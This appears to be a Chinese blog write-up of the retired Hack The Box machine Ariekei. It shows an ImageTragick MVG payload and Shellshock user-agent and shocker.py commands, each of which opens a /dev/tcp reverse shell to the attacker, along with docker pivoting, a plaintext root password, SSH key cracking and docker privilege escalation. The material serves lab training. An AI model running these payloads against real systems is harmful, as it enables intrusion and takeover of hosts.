• HTB-靶机-Ariekei


    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.65

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    执行命令 autorecon 10.10.10.65 -o ./Ariekei-autorecon

    有用的扫描结果:

    根据上面扫描结果发现存在cgi-bin目录,但是访问显示403,于是在此基础上再次进行爆破,命令如下

    gobuster dir -k -e -u https://ariekei.htb/cgi-bin/ -t 500 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -o ./ariekei-bmfx-gobuster

    得到如下结果

    访问对应地址

    可确认存在shelshock漏洞,尝试手工验证一下

    但结果显示的不是想要的,可能有WAF,先放着看看上面得出来的域名,试试爆破看看

    gobuster dir -k -e -u https://calvin.ariekei.htb -t 500 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -o ./calvin-bmfx-gobuster
    gobuster dir -k -e -u https://beehive.ariekei.htb -t 500 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -o ./beehive-bmfx-gobuster

    使用上面两个命令快速爆破出来这两个域名对应存在的目录

    先访问upload,因为看到这个总感觉简单一些上传一下就搞定的感觉

    标题是图片转换,根据经验猜测可能有imagetragick漏洞,相应的漏洞信息参考:https://imagetragick.com/

    利用方式如下:

    将下面代码保存为bmfx.mgv
    
    push graphic-context
    viewbox 0 0 640 480
    fill 'url(https://"|setsid /bin/bash -i >/dev/tcp/10.10.14.5/8833 0<&1 2>&1")'ms
    pop graphic-context

    成功反弹shell

    翻看了家目录和执行一些操作,发现限制很多,这并不是真正的目标靶机,但是发现如下信息

    猜测当前获得的shell可能是docker环境,然后根据上面的提示目录翻看,得到如下

    可以确认就是dockers环境了,再查看下隐藏文件,还真有,发现了重要信息

    将上述密钥保存文档给600权限连接过去,上述在插一句,这里是可以将得到的反弹shell升级成为tty-shell,步骤如下:

    得到上述按照套路执行fg就会像如上一样的结果,此时我们可以如下操作

    然后执行reset即可得到tty-shell ; 

    我们继续上面的来,得到密钥保存到本地之后,根据上面给出的配置docker环境及网络脚本得知大概的网络拓扑结构,映射的端口及IP地址,所以我们连接目标映射的1022端口

    ssh -i ariekei_id.rsa 10.10.10.65 -p 1022 -l root

    得知我们上面爆破出来的两个域名,是反向代理配置,对应域名是docker环境下的IP地址

    从上面我们就可以得知了,目标对外开放的两个域名对应的web应用都是docker环境,通过WAF反向代理出来,供我们访问,上面我们已经拿下了域名calvin.ariekei.htb ,而另一个域名beehive.ariekei.htb 因为刚开始想利用shellshock但是被WAF拦截了,所以我们此时想绕过WAF,拿下此目标就直接在calvin这台docker机器上进行利用即可,然后目前遇到的问题是docker机器命令很少,限制很多,不过没关系,确认当前获得的权限含有python,那么可以使用python进行反弹,这里使用手动的curl方式,但是没有curl命令,使用wget验证可以成功验证漏洞可以执行命令,但是不能反弹shell

    wget --user-agent='() { :; }; /bin/bash -i > /dev/tcp/172.23.0.253/8833 0<&1 2>&1' http://172.24.0.2/cgi-bin/stats

    这里我是没有成功,大家可以测试下,我看到网上很多列举的方法是在这里就通过ssh进行端口转发,将目标的端口都映射出去,然后从kali本地进行利用,这种方式我觉得比较繁琐,我是直接使用自定义好的exploit,在目标靶机上成功反弹shell

    对应利用shellshock的脚本:https://github.com/nccgroup/shocker

    利用方式:
    python shocker.py -H 172.24.0.2 --command "/bin/bash -i > /dev/tcp/172.24.0.253/8833 0<&1 2>&1" -c /cgi-bin/stats

    成功在目标靶机上反弹shell,并且升级为tty-shell

    下面是对应的升级为tty-shell的操作的两种方式,她们可以交叉使用

    非 python环境tty-shell
    script /dev/null -c bash
    在键盘上按住Ctrl+Z
    stty raw -echo
    fg
    reset
    会让你输入类型,输入:xterm
    echo $TERM(查看类型,可以不执行)
    export TERM=xterm
    export SHELL=bash
    stty rows 54 columns 104  (得到这个是在本地kali执行 stty -a所获得)
    
    获取tty-shell
    
    /bin/bash -i
    export TERM=xterm-256color
    SHELL=/bin/bash script -q /dev/null
    # ctrl+z to background channel
    # background meterpreter session
    stty raw -echo
    reset
    reset
    # go back to meterpreter session and channel
    reset

    成功登录到另一个目标靶机系统看了下权限还是很受限制,还是看不了user.txt

    此时想到上面获取第一台目标靶机的docker环境中有root的密码,对应信息是:root:Ib3!kTEvYw6*P7s

    使用su直接切换至root账户

    使用root权限成功进入到目标靶机环境的ssh目录,获取了对应的公钥和私钥

    复制其私钥保存到本地kali中,看私钥是设置了私钥的密码,我们是john通过密码字典进行破解下,破解之前先转换

    得到了私钥的密码,直接使用用户spanishdancer进行登录

    再次确认此时登录的靶机是否是宿主机

    看到了我们最终的IP地址为10.10.10.65,可以确认现在就是真正的宿主机了,不是docker环境,准备开始提权了,看了当前docker含有哪些镜像,发现bash进行可以提权,参考链接:https://fosterelli.co/privilege-escalation-via-docker.html

     

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    CF 336494 C. Meme Problem
    MySql备份
    MySQL索引背后的数据结构及算法原理
    show profile 开启权限
    示例数据库
    索引使用策略及优化
    shiro权限登录案例
    Swagger技术
    Shiro框架
    shiro授权管理
  • 原文地址:https://www.cnblogs.com/autopwn/p/14042550.html
Copyright © 2020-2023  润新知